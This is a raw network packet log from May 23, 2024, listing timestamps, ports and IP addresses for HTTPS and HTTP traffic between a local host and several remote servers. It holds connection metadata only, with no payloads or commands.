May 23, 2024 10:31:06.883131981 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.883177042 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.883198977 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.883205891 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.883275032 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.906501055 CEST	443	49747	184.28.90.27	192.168.2.4
May 23, 2024 10:31:06.953607082 CEST	443	49748	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.953788996 CEST	443	49748	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.953841925 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.953866959 CEST	49748	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.954760075 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.954768896 CEST	49748	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.954798937 CEST	443	49748	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.954829931 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.954869032 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.956185102 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.956252098 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.956262112 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.957556963 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.957612991 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.957621098 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.961091042 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.961182117 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.961189985 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.963167906 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.963238001 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.963246107 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.963310003 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.963316917 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.965387106 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.965461969 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.965470076 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.965516090 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.966526031 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.966607094 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.968708992 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.968777895 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.971004009 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.971081972 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.972122908 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.972196102 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.974220991 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.974379063 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.974925995 CEST	49751	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:06.975014925 CEST	443	49751	104.17.3.184	192.168.2.4
May 23, 2024 10:31:06.975090981 CEST	49751	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:06.975327015 CEST	49751	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:06.975356102 CEST	443	49751	104.17.3.184	192.168.2.4
May 23, 2024 10:31:07.044104099 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.044300079 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.045201063 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.045267105 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.046871901 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.046946049 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.049278021 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.049352884 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.050252914 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.050322056 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.052061081 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.052133083 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.052963018 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.053031921 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.054819107 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.054888010 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.055696964 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.055762053 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.057359934 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.057430029 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.058602095 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.058959961 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.060571909 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.060652018 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.060775042 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.060839891 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.062324047 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.062397003 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.069649935 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.069742918 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.131548882 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.131699085 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.132790089 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.132863998 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.133661032 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.133729935 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.135135889 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.135205030 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.137202978 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.137276888 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.138642073 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.138747931 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.140659094 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.140738010 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.141619921 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.141691923 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.143587112 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.143666029 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.144601107 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.144670010 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.145592928 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.145663023 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.147073030 CEST	443	49747	184.28.90.27	192.168.2.4
May 23, 2024 10:31:07.147134066 CEST	443	49747	184.28.90.27	192.168.2.4
May 23, 2024 10:31:07.147188902 CEST	49747	443	192.168.2.4	184.28.90.27
May 23, 2024 10:31:07.148066998 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.148134947 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.148473024 CEST	49747	443	192.168.2.4	184.28.90.27
May 23, 2024 10:31:07.148502111 CEST	443	49747	184.28.90.27	192.168.2.4
May 23, 2024 10:31:07.148514032 CEST	49747	443	192.168.2.4	184.28.90.27
May 23, 2024 10:31:07.148520947 CEST	443	49747	184.28.90.27	192.168.2.4
May 23, 2024 10:31:07.149991989 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.150063038 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.150940895 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.151006937 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.152870893 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.152944088 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.154092073 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.154162884 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.154181004 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.154248953 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.160011053 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.160044909 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.160087109 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.160094023 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.160125971 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.160166025 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.160181999 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.160212994 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.161103010 CEST	49743	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:07.161122084 CEST	443	49743	20.12.23.50	192.168.2.4
May 23, 2024 10:31:07.161138058 CEST	49743	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:07.161144972 CEST	443	49743	20.12.23.50	192.168.2.4
May 23, 2024 10:31:07.172379017 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.172403097 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.172447920 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.172461987 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.172502995 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.175899982 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.175914049 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.175970078 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.175982952 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.176011086 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.222109079 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.222131968 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.222276926 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.222278118 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.222320080 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.228070974 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.228087902 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.228143930 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.228156090 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.232491970 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.232515097 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.232573986 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.232589006 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.232630014 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.236790895 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.236804008 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.236870050 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.236879110 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.240755081 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.240773916 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.240838051 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.240847111 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.244307041 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.244319916 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.244395018 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.244404078 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.247692108 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.247709990 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.247764111 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.247771978 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.247814894 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.250816107 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.250834942 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.250906944 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.250915051 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.302855968 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.311788082 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.311822891 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.311897039 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.311948061 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.312005997 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.312036037 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.312072039 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.315169096 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.315187931 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.315259933 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.315274000 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.315345049 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.317790031 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.317816973 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.317851067 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.317884922 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.317915916 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.317934990 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.317935944 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.317996025 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.318398952 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.318418026 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.482908964 CEST	443	49751	104.17.3.184	192.168.2.4
May 23, 2024 10:31:07.484107018 CEST	49751	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:07.484169960 CEST	443	49751	104.17.3.184	192.168.2.4
May 23, 2024 10:31:07.485611916 CEST	443	49751	104.17.3.184	192.168.2.4
May 23, 2024 10:31:07.485713005 CEST	49751	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:07.485982895 CEST	49751	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:07.486057043 CEST	443	49751	104.17.3.184	192.168.2.4
May 23, 2024 10:31:07.486120939 CEST	49751	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:07.494302988 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.494375944 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.494642973 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.494891882 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:07.494921923 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:07.530509949 CEST	443	49751	104.17.3.184	192.168.2.4
May 23, 2024 10:31:07.606625080 CEST	49751	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:07.606690884 CEST	443	49751	104.17.3.184	192.168.2.4
May 23, 2024 10:31:07.691919088 CEST	443	49751	104.17.3.184	192.168.2.4
May 23, 2024 10:31:07.691993952 CEST	49751	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:07.692760944 CEST	49751	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:07.692781925 CEST	443	49751	104.17.3.184	192.168.2.4
May 23, 2024 10:31:07.999553919 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.000015974 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.000051975 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.000497103 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.001102924 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.001192093 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.001348972 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.001439095 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.001460075 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.179291964 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.179327011 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.179411888 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.179472923 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.184669018 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.184762001 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.184778929 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.188348055 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.188389063 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.188436031 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.188452005 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.188510895 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.191979885 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.196947098 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.197052002 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.197065115 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.263930082 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.264014006 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.264081001 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.266515970 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.266572952 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.266597033 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.269228935 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.269273043 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.269330978 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.269345045 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.269399881 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.271874905 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.274627924 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.274663925 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.274698973 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.274714947 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.274774075 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.276498079 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.277595043 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.277654886 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.277667999 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.280268908 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.280342102 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.280354023 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.283032894 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.283057928 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.283121109 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.283133984 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.283324003 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.284873962 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.286660910 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.286693096 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.286739111 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.286760092 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.286815882 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.291546106 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.333400965 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.349994898 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.351676941 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.352417946 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.352459908 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.352473974 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.353082895 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.353233099 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.354846001 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.355340958 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.355353117 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.357140064 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.357206106 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.357218027 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.357275963 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.358719110 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.358799934 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.360232115 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.360299110 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.361469030 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.361534119 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.365241051 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.365319014 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.366671085 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.366751909 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.368457079 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.368535042 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.369553089 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.369627953 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.372297049 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.372381926 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.373445988 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.373531103 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.437453985 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.437572002 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.440083981 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.440161943 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.440279961 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.440341949 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.441715002 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.441803932 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.442677021 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.442749977 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.444911003 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.444957018 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.445051908 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:08.445208073 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.467166901 CEST	49752	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:08.467201948 CEST	443	49752	104.17.2.184	192.168.2.4
May 23, 2024 10:31:09.089117050 CEST	49755	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:09.089207888 CEST	443	49755	104.17.2.184	192.168.2.4
May 23, 2024 10:31:09.089313984 CEST	49755	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:09.089747906 CEST	49755	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:09.089785099 CEST	443	49755	104.17.2.184	192.168.2.4
May 23, 2024 10:31:09.255645990 CEST	49723	80	192.168.2.4	93.184.221.240
May 23, 2024 10:31:09.569482088 CEST	49723	80	192.168.2.4	93.184.221.240
May 23, 2024 10:31:09.736125946 CEST	80	49723	93.184.221.240	192.168.2.4
May 23, 2024 10:31:09.736140013 CEST	80	49723	93.184.221.240	192.168.2.4
May 23, 2024 10:31:09.736283064 CEST	49723	80	192.168.2.4	93.184.221.240
May 23, 2024 10:31:09.812387943 CEST	49757	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:09.812428951 CEST	443	49757	104.17.3.184	192.168.2.4
May 23, 2024 10:31:09.812508106 CEST	49757	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:09.812787056 CEST	49757	443	192.168.2.4	104.17.3.184
May 23, 2024 10:31:09.812798977 CEST	443	49757	104.17.3.184	192.168.2.4
May 23, 2024 10:31:10.191507101 CEST	443	49755	104.17.2.184	192.168.2.4
May 23, 2024 10:31:10.191968918 CEST	49755	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:10.192030907 CEST	443	49755	104.17.2.184	192.168.2.4
May 23, 2024 10:31:10.192404032 CEST	443	49755	104.17.2.184	192.168.2.4
